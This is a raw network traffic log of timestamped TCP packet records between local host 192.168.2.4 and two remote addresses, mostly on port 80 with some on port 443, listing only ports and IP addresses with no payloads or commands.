Nov 23, 2024 20:23:37.326467991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.326484919 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.326982021 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.327297926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.327343941 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.327358961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.328250885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.328294039 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.328310966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.329147100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.329164028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.329179049 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.330060005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.330081940 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.330097914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.330944061 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.330990076 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331016064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.331021070 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331033945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.331036091 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331113100 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331113100 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331135035 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331167936 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331198931 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331233025 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331269979 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331309080 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331393003 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.331851006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.331898928 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.331914902 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.332768917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.332817078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.332834005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.333686113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.333703995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.333719015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.334722996 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.335011005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.335067987 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.335084915 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.335823059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.335867882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.335884094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.336704016 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.336762905 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.336785078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.337656021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.337713003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.337728977 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.338048935 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.338608980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.338660955 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.338677883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.339303970 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.339339972 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.339458942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.339479923 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.339495897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.340372086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.340389967 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.340405941 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.341360092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.341423988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.341439962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.342191935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.342207909 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.342223883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.342581987 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.343169928 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.343187094 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.343203068 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.344024897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.344072104 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.344088078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.344927073 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.344965935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.344980001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.345870018 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.345920086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.345937014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.346760988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.346806049 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.346820116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.347795963 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.347810984 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.347826958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.348670006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.348685980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.348700047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.349545002 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.349560976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.349577904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.350404978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.350732088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.350783110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.350799084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.351632118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.351685047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.351701021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.352547884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.352593899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.352608919 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.353454113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.353507042 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.353523970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.354357004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.354401112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.354417086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.355372906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.355387926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.355403900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.356198072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.356240988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.356256008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.357103109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.357120037 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.357136011 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.358059883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.358076096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.358091116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.358222961 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.358939886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.358988047 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.359004021 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.360064030 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.360081911 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.360096931 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.360774994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.360793114 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.360809088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.361690044 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.361768007 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.361784935 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.362597942 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.362617970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.362633944 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.363554001 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.363569975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.363584995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.364440918 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.364484072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.364499092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.365326881 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.365396976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.365413904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.366251945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.373626947 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.373683929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.373699903 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.373716116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.373830080 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.374428034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.374454975 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.374469995 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.375394106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.375410080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.375426054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.376247883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.376249075 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376266003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.376292944 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376293898 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.376312971 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376351118 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376383066 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376460075 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376492977 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376524925 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.376544952 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.377146006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.377201080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.377216101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.378063917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.378083944 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.378098965 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.379009008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.379060984 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.379076004 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.379903078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.379947901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.379965067 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.380814075 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.380868912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.380884886 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.381882906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.381899118 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.381913900 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.382677078 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.382694960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.382709980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.383589983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.383610010 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.383625984 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.384464025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.384481907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.384497881 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.385483980 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.385524988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.385540962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.386400938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.386429071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.386444092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.387187958 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.387252092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.387268066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.388166904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.388181925 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.388199091 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.389457941 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.392764091 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.392764091 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.392786980 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.392808914 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.457406044 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:37.461329937 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:37.472868919 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:37.472884893 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:37.473079920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.473100901 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:37.473135948 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.473143101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.473176003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.473231077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.473293066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.473319054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.473341942 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.473381996 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.474173069 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.474247932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.474263906 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.474304914 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:37.474464893 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:37.474503994 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:37.474555969 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.474644899 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:37.474653959 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:37.475049973 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.475109100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.475123882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.475497961 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.478753090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.478799105 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.478920937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.478936911 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.478954077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.478964090 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.478979111 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.478991032 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.478996038 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.478998899 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.479011059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479027033 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479042053 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479057074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479078054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479101896 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479116917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479132891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479149103 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479166985 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479224920 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.479248047 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.479737043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479779005 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479794025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479809999 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.479837894 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.479913950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.479958057 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.480671883 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.480714083 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.480715990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.480731964 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.480762959 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.480776072 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.480792046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.480833054 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.481730938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.481753111 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.481769085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.481786013 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.481806993 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.481832027 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.482636929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.482685089 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.482701063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.482717991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.483243942 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.483607054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.483644009 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.483659983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.483665943 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.483701944 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.483784914 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.483828068 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.490400076 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490448952 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490463972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490601063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490626097 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490641117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490655899 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490672112 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490686893 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490703106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490717888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490734100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490748882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490772963 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490788937 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490807056 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490822077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490838051 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490853071 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490868092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490884066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490900040 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490915060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490930080 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490955114 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490968943 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.490984917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.491000891 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.491930008 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.492115021 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.492156982 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.492187977 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.496207952 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496234894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496248960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496311903 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496325970 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496344090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496359110 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496455908 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:37.496524096 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:37.496550083 CET	80	49827	185.215.113.16	192.168.2.4
